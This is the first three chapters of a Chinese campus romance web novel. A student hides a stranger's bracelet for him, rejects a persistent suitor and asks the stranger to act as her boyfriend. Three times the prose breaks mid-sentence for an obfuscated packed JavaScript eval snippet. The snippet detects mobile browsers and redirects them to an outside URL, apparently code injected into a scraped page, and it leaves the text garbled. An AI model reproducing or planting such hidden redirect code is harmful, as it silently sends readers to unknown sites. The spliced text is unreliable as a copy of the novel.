《七分醉》 1. 第一章 《七分醉》 文/筱卿眠 晋江文学城独家发表 春去秋来。 京市，九月。 北科大校园的主路上，铺满了一层厚厚的银杏叶。 教室里的高数书被翻开在了第七页，黑色签字笔半支着身子划过一道长线，像是断了墨，在中间那一抹公式下悄然而停。 少女枕在被压得一片褶皱的衣袖上，双眼紧闭，长睫落下一道剪影。 “知知，知知。” 声音由远而近，逐渐浑浊。温芷茵的大脑发出抵抗，好困，她还不想起。 “知知，老师在叫你。” 终于，理智战胜了困意，温芷茵慢慢撑起身子，清软眼底带着些许迷茫：“谁在叫我？” 蓦地一阵哄笑。 对上讲台老师锐利的目光，温芷茵赶紧站了起来。 “对不起老师，我没听到......” “算了，你坐下吧。” 蒋志国推了推鼻梁上的眼镜，视线扫向周围，“刚开学，有些同学可能还没适应上课的节奏，但我必须强调，这门课的挂科率高达百分之四十......” 温芷茵双手托起脸颊，听老师振振有词地演讲，努力保持清醒。 早知道昨晚就不熬夜看小说了。 下了课，同学们簇拥着去吃午饭，大二的学生，已经对各个食堂菜谱了如指掌。 温芷茵没胃口，脑袋还是昏昏沉沉地，想回宿舍再去闷一觉。 “知知，你这么快吃完了？” 舍友苏菁菁请了半天的假，刚从家里过来。想着这会儿宿舍应该没人，结果一推开门，看到温芷茵一个人拿着抱枕，正要往床铺上爬。 温芷茵含糊着回：“我不饿，中午不吃了，想睡会儿。” “温知知同学，不饿也要吃饭，不然你营养不良，被别人一凶就晕倒怎么办？” “嗯，不是还有你嘛，你替我凶回去。”温芷茵已经盖好被子，眯起眼睛，“不过，我还是喜欢你直接喊我小名，更亲切些。” 温芷茵的名字是母亲起的，“芷”寓意美好的品质，“茵”代表郁郁葱葱，小名取的是谐音“知知”。 苏菁菁无奈，把行李拉到柜子前，开始收拾。 中途似是想起什么，回头又望了一眼还在眯觉的舍友，嘟囔一句：“知知，你要出名了知道不。” 温芷茵还没睡着。 很困，大脑发沉，但就是睡不着。 她听到这句话，脑袋里想着高数课上的事：“不就是课上偷睡被老师抓包了，说出名太夸张了吧。” “不对啊，菁菁，你刚回来怎么知道我课上出糗了？” “我哪里知道你课上出糗，是表白墙啦！你上了表白墙。” “你指的是......学校表白墙？” “对啊。” 温芷茵已经坐了起来，把抱枕移到墙角靠着，给自己找了一个舒服的姿势：“细说。” “文法学院那个卓澎你记得不？刚刚我进门口的时候习惯性看了眼表白墙，你猜怎么着，他直接把你大名写在了正中央的位置！我就说这小子是故意接近你，你们没一个人信我......” 苏菁菁还在滔滔不绝地讲着，温芷茵已经开始头疼。 当初卓澎的学生卡丢在食堂，被温芷茵捡到，还顺便加了微信，她并未想太多。 之后，两人也是偶尔聊上几句，都是无关紧要的事。 温芷茵打开微信，往下滑了几下，盯着那个名字想要问问怎么回事。 斟酌措辞的功夫，隔壁宿舍有人来找苏菁菁讲八卦。 简单的一句话纠结半天也没想好怎么问，思绪又被外界声音干扰。 温芷茵干脆放下手机，心想算了，等晚上再仔细考虑下怎么说。 伴随着烦闷的心情，一下午的课都没有上好。 晚上回到宿舍，她突然收到一条信息。 卓澎：【上次你提到的那本书我在图书馆找到了，周六有没有空来拿下呀。】 毫无破绽的见面邀请，且没有拒绝的理由。 温芷茵对这个人没什么感觉，她自然不想和他纠缠。 犹豫一瞬，想着倒是可以趁此机会把话说清楚。 当面说的话，可以避免隔着屏幕解释不清。 她回：【好的，谢谢，周六几点？】 卓澎：【下午三点吧，咱们在学校门口的咖啡馆见怎么样？顺便喝个下午茶。】 【可以。】 打完这两个字，温芷茵看到对面显示正在输入中，等了半天最后只发过来一个“嗯嗯”的表情包。 她关闭屏幕，把手机扔到了一边。 北科大学四人间的宿舍还算宽敞，上面是床铺，下面是桌子，每人一桌一铺。 隔壁陈若察觉到温芷茵心情不好，从书里抬起头：“知知，怎么了？” “没事，这周末我不回家了，你们有不回的吗？” 四个女孩子除了苏菁菁是来自成都，剩下都是本市人。 只是京市太大，学校距离家都不算近，大家平时还是住校，只有周六日回家。就连苏菁菁到了周六也是去本地亲戚家住。 陈若摇头，表示要回去，苏菁菁说这周舅妈要带她去承德玩。 “纤凝，你呢？” 宋纤凝性格内向，平时不怎么说话，此刻听到叫她名字才反应过来，摘下耳机说：“我本来是打算回家，不过你要是一个人孤单，我也可以陪你。” 温芷茵叹口气：“不用，你忙你的吧，那我正好去趟博物馆。” 她没有告诉她们和卓澎约定的事，打算一个人低调解决。 - 京市有很多免费的博物馆，温芷茵小时候和父母去参观过一些，只是一直没有机会去国家博物馆，这次正好去看看。 周六上午，温芷茵从宿舍出来，一边往学校门口走一边查路线。 地铁要倒好几趟，公交可以直达，可是又太慢了，单程要一个半小时。 最后她还是决定坐地铁。 国家博物馆珍藏着大量的国家级珍贵古董，包含陶瓷，鼎，青铜器，首饰等等。 其中一件镇馆之宝是孝端皇后的凤冠，面料是丝帛制成的，非常漂亮，她印象很深。 温芷茵从九点一直逛到了十二点，出来时，还觉得意犹未尽。 下午约定的时间是三点，见时间还早，温芷茵决定在附近小吃街填饱肚子再回学校。 这一带算是二环内了，位置处于市中心，到处都是巡逻的警察，给人一种天然的安全感。 温芷茵买了一些肉串和糕点，最后糕点没吃完，连同袋子一起装进了背包里。 地铁口要走二十分钟，她打开了步行导航。 刚吃完东西，还不能走太快。 大概走到一半路程，导航显示左转，是一条胡同。 可是前面的大路才是正路。 如此看来，导航应该是指了一条更近的小路。 温芷茵看了眼路标，上面写着：烟十四街。 她默默记下了这个名字，想着如果走错了，还要再回来。 正午的胡同里很安静，只有她一个行人。 抬眼望去，两边皆是一栋栋庄严且极具古韵的中式建筑，红墙灰瓦，颇显贵气。 温芷茵好奇，不禁多打量了几眼。 有些院子里种植的绿植已探出墙壁，还带着零星的黄色小花。 温芷茵看不出花的品类，只觉得和这红墙映在一起，煞是好看。 想着住在这里的人家世一定不简单。 此刻只顾着沉浸在自己的遥想里，完全没注意到墙顶上什么时候出现了一个黑色身影。 温芷茵眨了眨眼，以为出现了幻觉。 是一个男人。 利落的微分碎发，一件松垮的纯黑夹克衫。 男人蹲在上面，背对着阳光。 温芷茵昂起头，看到一张透着些痞气的脸，眼眸深邃，落在她身上的目光带着若有似无的笑。 温芷茵思绪凝固。 满脑子都是，这个男人真好看，比她在学校里见过的男生都好看。 可是他为什么会翻墙？难道是小偷？ 想到这儿，温芷茵不自觉地往后退了退。 男人身子一跃跳了下来。 两米多高的墙，他落地的时候却很稳。 “我不是小偷，来看朋友，不喜欢走正门罢了。” 似是看出了她的疑虑，男人自顾自地解释起来。 说完往前走了几步，距离她越来越近。 停下来时，脸上带着一丝狡黠。 “小姑娘，帮个忙。” “什......什么忙？” 温芷茵有些慌乱，紧咬着嘴唇，一双薄薄的杏眼跟着颤动起来。 男人不紧不慢地从兜里掏出一个东西，摊开手掌。 是一条男士乌金手链。 质地细腻，光泽盈润，隐约能看到上面雕刻着名字。 温芷茵不是内行，但也能看出这不是一条普通的手链。 “帮我保管两小时，一会儿找你来拿。”他语气直截了当，完全没有和她商量的意思。 温芷茵没接，又往后退了一步。 这不会是赃物吧？ “因为这个东西，我的朋友和家人闹了点儿矛盾，本来让我代为保管结果被发现了，等下他们要搜我身。” “对了，两个小时后你在哪儿？我可以去找你。”男人一口气说完。 让她来定地点，听起来倒是挺贴心。 温芷茵估算下时间，现在是一点钟，两个小时后，她应该在咖啡馆。 可是要怎么相信他的话？她不是傻子。 温芷茵还是没伸手。 男人“嘶”了一声：“没时间了。” 他直接拽起她的胳膊，将手链塞进温芷茵手里，又问了一句：“一会儿在哪见？” 这样近的距离，甚至能看清他眼底漆黑的墨色。 目光扫下来，带着一股莫名的诱惑。 温芷茵咽咽嗓子，脱口而出：“北科大门口的蓝岸咖啡馆。” 话落的瞬间，旁边院子里突然响起一阵骚动。 男人即刻转身。 同时，大门打开，七八个人乌泱泱地冲了出来。 带头的是一位年长老者，穿着一身中山装，双手背后，表情不怒自威：“齐家小爷，您自个儿招吧，别太为难我们这些下人。” 他说话拿腔拿调地，很有老京城人的味道。 身后几人皆穿着统一的黑色制服，看起来像是保镖。 被唤作齐家小爷的男人摊开双手：“你们有本事抓到我就行。” 一边说着一边向后退去。 老者一挥手，众人便倾巢而出，只是转眼间那个男人已奔向胡同尽头。 温芷茵看着这一切，默不作声地把手链放进包里，手心里捏出了汗。 看来那个男人没有骗她。 而且，从那些人的称呼来看，他应该不是简单的人物。 只是......她为什么要帮他？ 温芷茵摇摇头。 如果不是被下了蛊，那么她一定是疯了。 - 下午两点半，温芷茵又收到了卓澎的信息。 【我出发啦，不急哈，我先过去等着你。】 温芷茵指尖点着屏幕：【好，我也马上出发了。】 上午的衣服出了点儿汗，她又换了件米白色针织衫。 走到衣镜前，镜子里的少女双瞳剪水，清润灵动，一头秀发长及腰线。 她的头发又厚又软，即便没烫过，也呈现自然的蓬松状态。 温芷茵从后背比划了一下，心里想，该剪剪头发了。 蓝岸咖啡馆里的人不多，几个打工族带着电脑像是在加班，还有三两个学生聚在一起聊天。 温芷茵推门进去，一眼就看到了坐在角落里的卓澎。 他穿着一件深灰色卫衣，头发很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062951|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显打理过，整整齐齐地贴在头顶，有种少年精英的派头。 温芷茵走过去，和他打了声招呼，在对面坐下来。 桌上有两杯咖啡和一本书，看起来他已经为她点好了喝的。 “这里的咖啡我还是第一次喝，挺不错的，你以前喝过吗？”卓澎笑着说。 “没有。” “那你正好尝尝。” 温芷茵点头，轻抿了一口。 但他不知道，她没喝过是因为她不喜欢喝咖啡。 “再点些吃的吧，你想吃什么？” 卓澎想了想：“牛角包或者......随便一款蛋糕都可以，我来点吧。” “没事，还是我来吧。” 温芷茵并不饿，但不想欠他的人情。 她随便点了两份提拉米苏蛋糕，也算还咖啡的钱了。 视线落到桌上那本悬疑小说。 “你借了多久？我提前还你，别超期了。” “不急，一个月呢。” 温芷茵“嗯”了一声说，“谢谢了。”然后开始低头吃蛋糕。 她在想怎么能自然地把表白墙那件事提出来并不失礼貌地拒绝。 “你微信上话就不多，见了面还是不爱说话啊。” “......”可能天生的吧，我比较慢热。 卓澎开始手舞足蹈地讲起自己的事迹。 从以班级前五考上这所大学，再到大一参加辩论比赛拿了奖等等，一直到温芷茵吃完了蛋糕，他还没讲完。 好几次，温芷茵想打断他自我感动式发言都没有成功。 她的心情已经差到极点。 恰在此时，店里又进来一位新顾客。 温芷茵下意识地望了一眼，瞬间怔住了。 走进来的是一位身穿黑夹克的男人。 相貌极其惹眼，站在门口处，目光懒洋洋地往屋里扫视一圈。 温芷茵和卓澎早到了一会儿，被他的话搅得心烦意乱，差点忘记和另一个男人还有“约会”。 她伸手摸了摸包里的东西，这个包包一直随身携带，手链也在。 注意到她的动作，卓澎终于停了下来，问：“怎么了？” “没什么。” 温芷茵又微微侧头瞟了一眼，男人随意落座在了她们隔壁的位置，点了杯咖啡。 不知道为什么，旁边坐了这样一位不算陌生人的陌生人，让她觉得更难以启齿了。 “我就说，你果然是个i人，未免太冷淡了些......” 温芷茵惊讶于他的直白，但这样的话让她感到有些难堪。 他后面又说了几句温芷茵也没听进去。 温芷茵有些心不在焉，偶然瞥到隔壁的男人时，发现他虽然在低头喝咖啡，但心思明显没在咖啡上。 那样子像是在专注地听八卦。 温芷茵在心里默默叹气，看来今天是没有机会把话挑明了。 “今天谢谢你借我书，我一会儿还有事，要先走了。” 卓澎短暂的愣了愣，不太情愿道：“......那好吧，我也回学校了。” 两人起身，一前一后走出咖啡馆。 温芷茵看着他去了学校的方向，等了一会儿，又回到座位上。 早知如此，不如直接拒绝他的邀约，也不至于把局面弄成这样。 思想开小差的时候，对面的男人正饶有兴趣地看着她。 温芷茵赶紧打开包，把手链拿出来：“这个给你。” “谢了。” 男人伸出手接过。 温芷茵观察到，他的手骨节分明，看上去修长又有力量。 收起手链后，男人身子吊儿郎当地往后一靠，笑着问：“在约会？” 温芷茵脸颊泛红，连忙摇头：“不是，我们只是校友。” 男人意味深长地“哦”了一声：“或者说，他在追你？” 这次温芷茵没反驳，只低下了头，满脸尴尬。 “北科大啊......没想到，你还是个学生。” 男人自言自语地说了一句，随后突然伸出手，“手机给我。” 温芷茵没反应过来：“啊？” 男人手已经停在半空中，等着她递过来。 温芷茵犹豫一瞬。 她不想让别人难堪，还是乖乖把手机解锁递给了他。 “我这个人从来不欠别人，”男人指尖一边飞快敲着屏幕一边解释，“这是我的电话，你有任何困难都可以找我，只要不违法我都能做。” 温芷茵看着屏幕上的数字，心里打鼓。 只要不违法......他都能做？ 不知道他说的真假，此刻八卦之心却燃了起来。 “所以说，这个手链到底有什么秘密？那些人，他们最后抓到你了吗......” 对面的男人笑了笑，低头扫了眼桌上的书：“喜欢悬疑，好奇心挺重是吧。” 他胳膊搭在椅子边缘，手指轻敲着节奏：“本来这件事不应该告诉别人，不过既然你帮了忙，告诉你也无妨。” “简单来说，就是我朋友的心上人送了他一条手链作为定情信物，但朋友家里人反对这门婚事，朋友就拜托我把定情信物私藏起来，后面的事你也就知道了。” 没想到竟然是这么重要的东西。 温芷茵舔舔嘴唇：“那万一你给我之后我不来了怎么办？” 虽然他的方法新奇有用，但随便把这么重要的东西给一个陌生人，就不怕遇到骗子么？ “那样的话就是它自己的命了，”男人脸上依旧挂着笑，拉开椅子，“好了，我也该撤了，有需求随时联系。” 他做了一个打电话的手势。 温芷茵点头，正准备起身。 “对了，还有一句话想跟你说。” 温芷茵拿包的手一顿，抬眼看他：“什么？” 男人俯身，黑眸凝在她身上，深邃的眼睛里沾染了一丝神秘。 “你和刚刚那个男生，不适合。” 2. 第二章 往学校走的时候，温芷茵脑子里还回忆着那句话。 “你和刚刚那个男生，不适合。” 不确定他是不是那个意思。 她抗拒的心里表现得太明显，以至于一个外人都能看得出来。 温芷茵盯着手机屏幕，把那一串手机号码新建了联系人，可是她还不知道他的名字。 蓦地想起那时在胡同里，老人称他为齐家小爷。 齐家？ 那他应该是姓齐吧。 温芷茵想了想，默默地打下“齐家小爷”几个字。 刚到学校门口，一只野猫跑出来冲她喵喵叫了两声。温芷茵拿起书晃晃，笑道：“小馋猫，这不是零食，是书，精神食粮。” 野猫像是能听懂似的，呜咽了几下之后真的跑开了。 也不知道是卓澎怂了还是有人故意捣乱，学校表白墙正中央的那个名字没几天就被撕掉了。 不管是谁，温芷茵只想好好感谢那个人，赶在她出名之前解决掉了麻烦。 现在唯一的麻烦就剩下怎么和卓澎划清界限。 晚上十点钟，宋纤凝去自习还没有回来，陈若去水房洗衣服，宿舍里只剩下苏菁菁和温芷茵两个人。 温芷茵蜷缩在被子里，表情凝重，屏幕上密密麻麻地打了一大段话：卓澎你好，我已经知道你在表白墙写我名字的事了，不知道是不是我理解的那个意思...... 删删改改了半天，最后还是没发出去。 苏菁菁正在戴耳机看搞笑综艺，一边捶床一边捂肚子，那笑声即便掐着脖子都能传到屋外几里地。 温芷茵叹口气，决定放弃挣扎，求助她那豪爽的舍友。 “菁菁，我想请你帮个忙。” “啊？什么毛？” “不是毛，是想让你帮个忙。”温芷茵爬下床，来到苏菁菁床边，“卓澎上周六约我去咖啡馆了，我现场犯怂没拒绝他，现在怎么跟他说你快帮我想想措辞。” 苏菁菁暂停视频，摘下耳机：“这件事啊，你咋不早说呢，你应该在他约你之前拒绝他啊。” “我那不是觉得当面说更尊重人嘛，没想到出了意外......反正现在已经里外不是人了，就卡在最后一步。” “嗐，那天跟你说完看你没啥反应，还以为你俩有戏呢，我说你眼光不至于跌成这样。” “那现在怎么办？” “不怕，有我在，我给你编辑一段话，绝对官方，挑不出毛病。” 温芷茵高兴地拍了下她肩膀：“还是你最靠谱！” 很快，苏菁菁把她的话术发了过来： 卓澎你好，我已经知道你在表白墙写我名字的事了。很感谢你的喜欢，但是我只把你当作普通朋友，也谢谢你借给我书，下周我会还你，以后咱俩还是少联系哈...... 的确很官方，官方得够冷血。 但也只有这样，才能彻底断了他的念想。 温芷茵满意地点头，然后按下了发送键...... “你说他要是还缠着你怎么办，现在有些男生真的特别不要脸......” 两个人正讨论时，陈若端着盆回来了。 她听到话题尾音，好奇道：“谁不要脸？” “就是之前文法学院那个卓澎记得不，前些天直接给知知挂表白墙了，你说这男生得多自信......” 说到一半，突然意识到她不该多嘴，正主还没发话，万一人家不愿意别人知道呢？ 温芷茵倒是没太大情绪变化，跟着补充两句：“不过现在没事了，我刚刚已经明确拒绝他了。” 陈若从盆里拿起衣服，晾在衣架上：“怎么说的？” 温芷茵又把那段话叙述了一遍。 “你们不该这样做，下次他再约你出去你拒绝他就能明白了，这样直接发信息很伤人自尊的。” 两人本来是想她会一起吐槽，没想到陈若却开口替对方说话。 苏菁菁和温芷茵面面相觑。 “不是，为什么还要给他留自尊？他把知知挂表白墙的时候想过知知的感受吗？都要拒绝人家了还搞什么弯弯绕绕。” 苏菁菁藏不住脾气，火气一下就上来了。 “那件事是他做的不对，但也不算什么伤天害理的行为吧？学生时代的感情创伤有时会跟着一辈子，这样很容易让人产生心里阴影。” “他心里阴影，我们还心里阴影呢......跟圣母真没得聊。” 苏菁菁嘟囔着，声音不大，但听起来很刺耳。 陈若说话一板一眼，显然不是对手，气得脸色通红。 还站在床边的温芷茵有些尴尬地看着两人，不知道该劝谁。 恰在此时，微信震动声响起。 温芷茵忐忑地打开，卓澎：【我们能当面聊聊吗，我在你楼下。】 温芷茵深吸一口气。 眼前发晕。 “他咋回的？” 温芷茵把手机怼到了苏菁菁面前。 “靠，他要干啥？大晚上的吓不吓人，听我的别去。” “我也不想去，就怕他一直不走，那就更麻烦了。” 温芷茵想了想，又给卓澎发了条微信：【能在手机上聊吗？现在时间很晚了，见面我也不知道说什么......】 她想努力摆出自己的困境，让对方明白她的意思。 但卓澎显然没get到。 【就聊一会儿，不会打扰你太久，我保证。】 温芷茵还在犹豫时，宿舍门被推开了，宋纤凝走进来。 “我刚才在楼下看到一个男生捧着一束花，好像要跟谁告白，好多人围着起哄呢。” 宋纤凝性格内敛，说起话来也文文静静的，再大的事从她嘴里也听不出一点波澜。 然而平淡的一句话，在宿舍里引来了爆炸的效果。 “不会是那个卓澎吧！他疯了！”苏菁菁拉起温芷茵的手，“知知，你赶紧躲起来，我跟你说这种人特别可怕，做事完全不顾别人感受——你快去，躲那个厕所里......” 温芷茵正处在发懵不知所措时，被苏菁菁一番话逗笑了：“他又上不来，我躲厕所干什么。” 苏菁菁清醒过来，摸摸脑门：“也是啊。” “那你打算怎么办？” “我下去。” 如果一味逃避不去见他，只会引来更多人围观，到时候她真的要全校出名了。 温芷茵披上薄外套，换了双鞋。 宿舍楼道的灯散发着暖黄色的光，她暗暗给自己打气。 楼下已经围了一圈人，大概都是理学院的学生，正七嘴八舌地议论着，脸上写满了兴奋和好奇。 然而温芷茵一出现在楼门口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062952|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立马就后悔了。 正对着她的那个男生，穿着正式，手里捧着好大一束鲜花，在路灯照耀下红了一片。 这幅场景对温芷茵来说一点也不浪漫，她只觉得好吓人。 “你把这花先收起来，有话去前面说。” 温芷茵走上前，努力不去看周围人的脸色。 “温芷茵，我喜欢你，你能给我一次机会吗？” 卓澎直直地杵在那，在他的世界里，别人就像是不存在，他必须完成自己的目标。 “我说了有话去别的地方说，别在这里——” “他就是个神经病！”身后响起苏菁菁的声音。 陈若，宋纤凝也都下来了，她们还是不放心。 “你能不能滚远点儿，我们知知根本就不喜欢你！” 卓澎听到有人骂他，终于反应过来一些。 他梗着脖子，气势也稍减：“我就是想表达一下自己的心意，影响到你们什么了？” “你影响得可大了，我们一宿舍人因为你睡不好觉，胸闷气短，明天就得去医院！” 卓澎不耐烦地斜了她一眼，然后看向旁边默不作声的女孩：“温芷茵，我们前几天还约会呢，你不能这样对我。” “什么约会？只是跟你借本书罢了。”温芷茵一向温和的脸上罕见带了些怒气，“早知道就不该把你当正常人，本来同学之间不想闹得太尴尬，没想到你一点儿也不顾及我的感受。” 她又往前走了几步，面向卓澎：“我该说的话都说完了，你走吧。” 此时周围也响起了窃窃私语： “原来是男方单恋啊。” “这哥们儿够痴情的。” “他已经成功把女孩——不，整个女方宿舍都惹恼了。” 卓澎咬了咬牙，终于将鲜花垂下来：“我不会放弃的。” 而后转身走出人群，慢慢消失在夜幕里。 “有病啊啊真有病——” 苏菁菁还在谩骂着，温芷茵已经听不清了，她快速走上楼，只想赶紧忘掉今晚发生的一切。 “不是，他以为他是谁啊，还不会放弃，气死我了！” “菁菁，你少说两句吧，知知正烦着呢。”宋纤凝开口劝道。 “是啊你看，当初是谁说还要顾及对方尊严来着，结果到好，人家上来闹这一出，他像是尊严受损的样子吗？打不打脸啊。” 宋纤凝当然知道她什么意思，这话是说给陈若听的。 陈若自知理亏，也不接话，闷闷地坐在桌前看英语书。 晚上十一点，宿舍已经熄灯了，温芷茵睡不着，拿出手机胡乱翻着。 他说不会放弃，的确是他能做得出来的事。 今天的场面已经是她难以应付的了，接下来怎么办？ 就算把卓澎的微信和手机号都拉黑，但一个学校的，想找她总归能找到。 烦躁地划拉着手机通讯录时，正好瞧见那一行相当惹眼的名字：齐家小爷。 她停顿一瞬，想起是那个承诺她“只要不违法，任何事都可以做”的男人。 温芷茵脑海里浮现出他的模样。 极俊的五官，不羁的笑容。 这一刻，忽地冒出一个想法。 不确定有没有用。 但，如果让他假扮一下她的男朋友—— 应该不违法？ 3. 第三章 温芷茵学的专业是统计学。 其实报考时她不知道这个专业以后能做什么，只是排除了自己不想学的，然后按照学校给出的排名来选择。 但她还是秉持着好学生的一贯思维，只要在学校就要好好学习，不管以后去哪个行业。 除了最近两次连续上课走神被老师抓包。 “知知，你在想什么，老师点你的名了。” 温芷茵站起来，她还记得刚才讲到的内容，把知识点又复述一遍。 老师摇着头让她坐下。 很显然她答得不对，但大学里的老师不会管太多，即便有同学回答不上来也不说什么。 下了课，温芷茵和舍友们打了声招呼，让她们先走，然后独自跑到教学楼前的林荫小路上。 这里一向很安静，通常只有早读的同学会来。 此刻只有她一个人。 温芷茵定了定神。 把话述在脑子里过一遍，决定试试她那个计划。 紧张地拨通陌生男人的号码，电话开始“嘟嘟”响起来。 等了半分钟，还是无人机听。 他......该不会在骗她吧？ 温芷茵不死心，又拨了一遍。 十几秒后，电话终于打通了。 里面传来一个略低沉的声音：“哪位。” “是我，我是那天帮你藏手链的......” “哦，我记得。”男人笑了笑，“小姑娘，遇到麻烦了？” 他很聪明，瞬间就能猜到她有困难需要帮忙。 温芷茵忐忑的心稍稍平静下来：“嗯，的确有件事想麻烦你......” 她说这句话的时候，突然意识到一个问题，他会不会已经有了女朋友？ 这样长相优越的男人大概率不会单身，如果是这样，再让人假扮她男朋友，那也太荒谬了。 思路一被打断，温芷茵立马磕巴起来：“那、那个，就是你——” 对面的环境似乎有些嘈杂，很多人在讲话。 男人止住了她：“见面说吧，下午六点在时光别院轰趴馆，这个时间地点可以吗？” 温芷茵犹豫一瞬，还是应诺了：“可以。” “好，那晚些见。” 他挂断了电话，果断又干脆。 时光别院轰趴馆在北科大附近，走路二十分钟。 温芷茵不知道他为什么选择这个地方，也或许是他在那里有别的事情，好在距离不远。 下午的课四点就结束了，她简单吃了点饭，五点半出发去往轰趴馆。 导航显示的很准，到达目的地的时候，正好五点五十。 轰趴馆娱乐设施主要分布在一层，这会儿看上去像是没人，只有前台沙发上坐着一位三十岁左右的男人，长得很儒雅。 “小姑娘，来预约吗？” “不是，我是来等人的。”温芷茵诚实道。 老板似乎很惊奇：“等人？” “对，他约我在这里见面。” “哦？什么人？” 温芷茵不知道他叫什么，只知道他姓齐：“是一位......齐先生。” 她一说完，老板突然笑了：“你找他啊，去楼上吧，他就在二层阳台。” 温芷茵说了声谢谢，然后迈上台阶来到二楼。 二层相当于是一整个露天阳台，视野很好，旁边有绿植和鲜花，中间是几个圆桌和靠椅。 温芷茵第一感觉是在这里休息一定很惬意。 男人就坐在其中一个圆桌旁，桌上摆着两杯鲜榨果汁。 见到她时，他招了招手：“坐。” 温芷茵拘谨地坐在他的对面，开口道：“不好意思让你久等了。” 男人嘴角勾起，笑容里带着些玩世不恭：“先喝点儿水。” 他把一杯草莓汁推过来：“你们学生爱喝的。” 这话像是因为照顾她是学生特意点的果汁，倒是挺贴心。 温芷茵小心翼翼地拿起杯子，即便装作很淡定，还是掩盖不住紧张。 男人顺势打量了几眼。 小姑娘穿着一件浅灰色针织衫，白净的小脸不施粉黛，眼睛亮亮的，长得倒是挺灵动。 不过一说起话来就知道还是个未经世事的学生。 “说吧，你遇到什么麻烦了？” 温芷茵放下杯子，抿了抿嘴：“那个，我想先问问你，你有女朋友吗？” 眼见男人平淡的脸上泛起惊诧，她又赶紧补充了句：“我没别的意思，就是让你帮忙前需要先确认这件事才行。” “没有。” 温芷茵松了口气：“那，你能假扮一下我男朋友吗？” 好一个没别的意思。 男人身子往后一靠，双手抱臂，挑了挑眉：“说说看，为什么？” “在咖啡馆的时候你也看到了，那个男生之后还一直纠缠我，我不是他的对手，想让你假扮一下我男朋友让他知难而退。” 其实温芷茵挑选这个男人不是没有原因的。 如果随便找个普通男生，同校的学生查起来很容易露馅，但这个男人，卓澎一定查不出来。 况且。 面对这么帅的竞争对手，一般人都会很快放弃。 “所以，齐......先生，你能答应这个忙吗？” 听到这个称呼，男人缓缓抬睫，看了她一眼：“我叫齐泽玄。” 温芷茵愣了下，赶紧拿出手机：“三点水的泽吗，哪个xuan？” “玄学的玄。” 改完通讯录上的名字，她又自言自语道：“用玄做名字，好像很少见......” 本以为声音很小，没想到被他听到了。 “这个玄代表黑色的意思。” 温芷茵“啊”了一声，有点愧疚：“抱歉，我不知道......” 齐泽玄笑笑：“不知道也正常，的确不多见。” 他的声音总带着一丝漫不经心，好像对什么都不在乎，也不上心。 只是这一解释，温芷茵更不懂了，她记得玄应该是聪明，志向远大之意，为什么在他这里变成了黑色...... “你叫什么。” “温芷茵。”说完之后，她还认真解释了一下，“草字头的芷，草字头的茵。” 齐泽玄笑出了声：“你这个小姑娘，还挺有意思。” 知道在调侃她，温芷茵尴尬得挠了挠脸颊。 也是啊，她的名字本是非常有寓意的两个字，却被她解释得这么俗气。 半响后，她又郑重道：“那你同意了吗？” 男人思忖了几秒。 抬头看向那个透着紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062953|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张的稚嫩脸庞，眼中带了些许玩味：“同意了。” 他答应得这么痛快，出乎她的意料。 齐泽玄抬手轻轻将杯子端起，喝了两口果汁。 他的手臂看起来结实有力，青筋脉络根根分明，有一种莫名的性感。 温芷茵抿了抿唇，收回目光。 一个电话铃声响了起来，男人拿出手机看两眼，然后直接关掉。 “我们加个微信，有事方便联系。” 他一边敲着字一边说：“这里的老板是我朋友，你以后如果想来玩儿，可以报我的名字打折。” “谢谢。” 温芷茵随口一应。 说起来，这还是她第一次来轰趴馆，她对那些娱乐项目兴趣都不大，估计没什么机会来。 还在胡思乱想的时候，齐泽玄开口打断了她：“时间不早了，你回学校吧。” 他默了下，又补充道，“这里很近，我就不送你了。” 温芷茵内心有一种感觉。 虽然这个男人看上去总是一副吊儿郎当的样子，但似乎……还挺会照顾人的。 温芷茵点点头：“嗯，后续的事估计要等十一假期之后，到时联系你。” 齐泽玄比了个OK的手势，他站起身：“小姑娘，提醒你一句。” “什么？——”温芷茵昂起头，一脸天真无邪。 他弯腰指着桌上空着的饮料杯子：“以后和不熟的人见面，不要喝他给的东西。” “尤其是男人。” - 温芷茵其实在外面也不是完全没有防备心。 只是她下意识觉得，从那样地方出身的人，大都是根正苗红的，应该不是坏人...... 回到宿舍，苏菁菁刚洗完澡在吹头发。 她最近把头发烫了，每次洗完要花好长时间去打理形状。 “你去哪里了？一回来就看不到你，也不回我微信。” “抱歉，我没看到。”温芷茵打开手机，看到苏菁菁的几条微信，还有—— 好像是齐泽玄发来的？ 他的头像是一个男生动漫剪影，看不出是谁。 只有一句话：【到了学校告诉我一声。】 温芷茵有一种错觉，怎么好像这就开始演上了...... 